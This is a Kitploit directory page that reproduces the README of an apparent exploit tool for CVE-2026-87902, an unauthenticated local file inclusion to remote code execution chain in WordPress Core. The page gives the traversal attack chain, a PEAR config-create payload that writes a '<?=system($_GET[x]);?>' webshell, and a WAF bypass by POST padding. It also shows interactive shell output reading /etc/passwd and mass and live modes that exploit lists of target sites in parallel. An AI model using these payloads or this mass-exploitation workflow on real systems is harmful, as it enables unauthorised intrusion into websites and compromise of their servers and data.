Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-87902 — Python exploit for CVE-2026-87902, an unauthenticated LFI in WordPress Core ≤7.1.1: fingerprints OPML, detects webroot, abuses the PEAR gadget to drop a webshell, and verifies RCE. | Kitploit
Tools/GitHubGitHub/rwxrwxs/cve-2026-87902
Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationInformation GatheringPost-ExploitationWAF BypassWeb SecurityPenetration TestingRemote Access Tool
GitHub
61 month agoNot yet reviewed
rwxrwxs/cve-2026-87902

CVE-2026-87902

Python exploit for CVE-2026-87902, an unauthenticated LFI in WordPress Core ≤7.1.1: fingerprints OPML, detects webroot, abuses the PEAR gadget to drop a webshell, and verifies RCE.

View Repository
Share
  ╔══════════════════════════════════════════════════════╗
  ║  ♡  CVE-2026-87902  ·  WordPress Core  ♡            ║
  ║     Unauthenticated LFI → RCE  ·  Affected <= 7.1.1 ║
  ║        === Majestic666 x Caterscam ===               ║
  ╚══════════════════════════════════════════════════════╝

WordPress Core ≤ 7.1.1 — Unauthenticated LFI → RCE

Python CVE License


Overview

CVE-2026-87902 is an unauthenticated Local File Inclusion vulnerability in WordPress Core ≤ 7.1.1 via locate_template().
The pagename parameter in the query string is passed unsanitized to locate_template(), allowing path traversal to include arbitrary PHP files already on the server — most critically pearcmd.php, which accepts arguments via QUERY_STRING and can write attacker-controlled files.

Attack Chain

pagename path traversal
  └─ include ../../../../wp-links-opml.php          ← LFI confirmation (OPML)
  └─ include ../../../../usr/share/php/pearcmd.php  ← PEAR gadget
       └─ &+config-create+/<?=system($_GET[x]);?>+/dest.php
            └─ mr666_<hex>.php  ←  webshell in wp-content/
                 └─ ?x=id  →  uid=33(www-data) ...   ← RCE confirmed

Features

FeatureDetail
OPML auto-fingerprintFetches wp-links-opml.php before the LFI sweep, extracts structural XML/generator signatures, rejects false positives where HTML appears before OPML content
Multi-source version detectionmeta → rss → opml → readme → asset → login → install → wp-json
Auto webroot detection3 methods: PHP error path leak, wp-config.php ABSPATH, wp-load.php path
90+ fallback webroot patternscPanel, Plesk, Bitnami, Docker, DirectAdmin, Beget, LiteSpeed, Termux, etc.
PEAR tier sweepFAST tier (20 paths) → FULL tier (70+ paths) if FAST misses
WAF bypass50 KB POST body padding to push pagename past WAF body inspection threshold
Shell output cleanerDeduplicates PEAR's 12× repeated command output; extracts clean uid= / uname lines
Mass verificationRuns id on every dropped shell to confirm live RCE before marking as success
Live modeTails a file and exploits new targets as lines are appended — file doesn't need to exist at startup
Single modeInteractive shell with full PTY-style command loop

Requirements

  • Python 3.8+
  • No external dependencies — stdlib only (urllib, ssl, re, json, threading)

Usage

python3 majestic666.py

Modes

[1] Single — Interactive Shell

Exploit one target, drop a shell, and get an interactive command prompt.

  ♡  [1]  Single   · interactive shell
  ◆  [2]  Mass     · batch file — one-shot or live tail
  ⚡  [3]  Live     · watch file, exploit new targets
  ✗  [4]  Exit     · see you next time ♡

  ♡  choice [1/2/3/4] : 1

  ♡  target url   : https://target.com

  ────────────────────────────────────────────────────

  ◆  scanning  https://target.com
  ◆  wp=7.0.3 (src=meta,opml)  php=PHP/8.1.12  server=nginx
  ◆  opml sigs: 3
  [*] lfi d=3  suf=templates  http=200  OPML=YES
  ♡  LFI confirmed — depth=3 suffix=templates
  [*] pear sweep tier1: 20 paths
  [+] gadget /usr/share/php/pearcmd.php depth=4 (tier=FAST)
  [*] webroot attempts: 186 (auto+defaults)
  [*] write /var/www/html/wp-content/mr666_a3f8c192.php -> http=200

  ★  shell uploaded
  ★  ▶  https://target.com/wp-content/mr666_a3f8c192.php

  ♡  execute :  curl 'https://target.com/wp-content/mr666_a3f8c192.php?x=id'

  ────────────────────────────────────────────────────
  ♡  shell> id
     ▶  uid=33(www-data) gid=33(www-data) groups=33(www-data)
  ♡  shell> uname -a
     ▶  Linux srv01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
  ♡  shell> cat /etc/passwd | head -3
     ▶  root:x:0:0:root:/root:/bin/bash
     ▶  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
     ▶  bin:x:2:2:bin:/bin:/usr/sbin/nologin
  ♡  shell> exit
     ♡  bye ♡

Custom shell: leave the shell file prompt blank to use the built-in <?=system($_GET[x]);?> webshell, or enter a path to your own .php file to relay it through the PEAR gadget.


[2] Mass — Batch File

Exploit a list of targets in parallel. Two sub-modes: one-shot and live tail.

Sub-mode 1: One-shot

Process a targets file once and exit.

  ♡  choice [1/2/3/4] : 2

  ♡  [1]  one-shot  · process file once
  ⚡  [2]  live      · tail file, exploit new targets

  ♡  scan mode [1/2] : 1

  ◆  targets file [targets.txt] : targets.txt
  ◆  threads      [1-50]        : 20

  ╾──────────────  BATCH SCAN  ──────────────╼

  ◆  targets  ▶  150
  ◆  threads  ▶  20
  ◆  output   ▶  rce.txt
  ◆  verify   ▶  id

  ──────────────────────────────────────────────────

[1]  https://vuln1.com       [Wordpress 7.0.3]  [ VULN ]  [ RCE OK ]   uid=33(www-data)...
[2]  https://shop.nope.io    [Not Wordpress or WAF]
[3]  https://patched.net     [Wordpress 7.1.2]  [ PATCHED ]
[4]  https://vuln2.org       [Wordpress 6.9.1]  [ VULN ]  [ RCE OK ]   uid=1000(deploy)...
[5]  https://dead.example    [ FAIL ] [ Failed ]
  ...

  ◆  [50/150]  ♡ vuln=2  ★ rce=2  ⚠ unverif=0  ⚠ bypass=0  ✗ skip=46

  ╾──────────────  RESULTS  ──────────────────╼

  ◆  scanned    ▶  150
  ♡  vuln       ▶  4
  ♡  lfi only   ▶  1
  ★  rce ok     ▶  3
  ⚠  unverified ▶  1
  ⚠  bypass     ▶  1
  ◆  patched    ▶  12
  ✗  skip       ▶  131
  ✗  dead       ▶  2

  ──────────────────────────────────────────────────
  ★  saved  ▶  rce.txt
  ⚠  bypass ▶  bypass-manual.txt

Sub-mode 2: Live tail (inside Mass mode)

Same as mode [3] but accessed via the Mass mode menu.

  ♡  scan mode [1/2] : 2
  ◆  targets file [targets.txt] : feed.txt
  ◆  threads      [1-50]        : 10

  [LIVE] Watching feed.txt — Ctrl+C to stop

  Threads : 10
  Output  : rce.txt
  ──────────────────────────────────────────────────

  [LIVE] queued  https://new-target.com
[7]  https://new-target.com   [Wordpress 6.8.3]  [ VULN ]  [ RCE OK ]  uid=33(www-data)...

[3] Live — Watch File

Start watching a file immediately. New lines are exploited as they appear.
The file does not need to exist at startup — useful when paired with a scanner that appends targets.

  ♡  choice [1/2/3/4] : 3

  ⚡  targets file [targets.txt] : /tmp/discovered.txt
  ⚡  threads      [1-50]        : 15

  [LIVE] Watching /tmp/discovered.txt — Ctrl+C to stop

  Threads : 15
  Output  : rce.txt
  ──────────────────────────────────────────────────

  [LIVE] queued  https://site1.example.com
  [LIVE] queued  https://site2.example.com
[1]  https://site1.example.com  [Wordpress 7.0.1]  [ VULN ]  [ RCE OK ]  uid=33(www-data)
[2]  https://site2.example.com  [Not Wordpress or WAF]
  ...

^C
  [LIVE] Stopped.

  ──────────────────────────────────────────────────
  ♡  Vuln       : 1
  ★  RCE OK     : 1
  ⚠  Unverified : 0
  ⚠  Bypass     : 0
  ✗  Skip       : 1
  ──────────────────────────────────────────────────

  ★  saved  ▶  rce.txt

Output Files

FileContent
rce.txt<url> | [RCE OK] <shell_url> | <id output>
bypass-manual.txt<url> | lfi-only — LFI confirmed but no PEAR gadget found

OPML Fingerprint — False Positive Elimination

Old versions of OPML-based LFI detection matched any response containing <?xml + outline — triggering false positives on:

  • WAF error pages that embed XML fragments
  • Non-WordPress XML APIs on the same host
  • CDN challenge pages with structured content

How it works now:

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    851
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    538
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    297
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    280

Explore all tools

Browse our collection of tools

View all tools →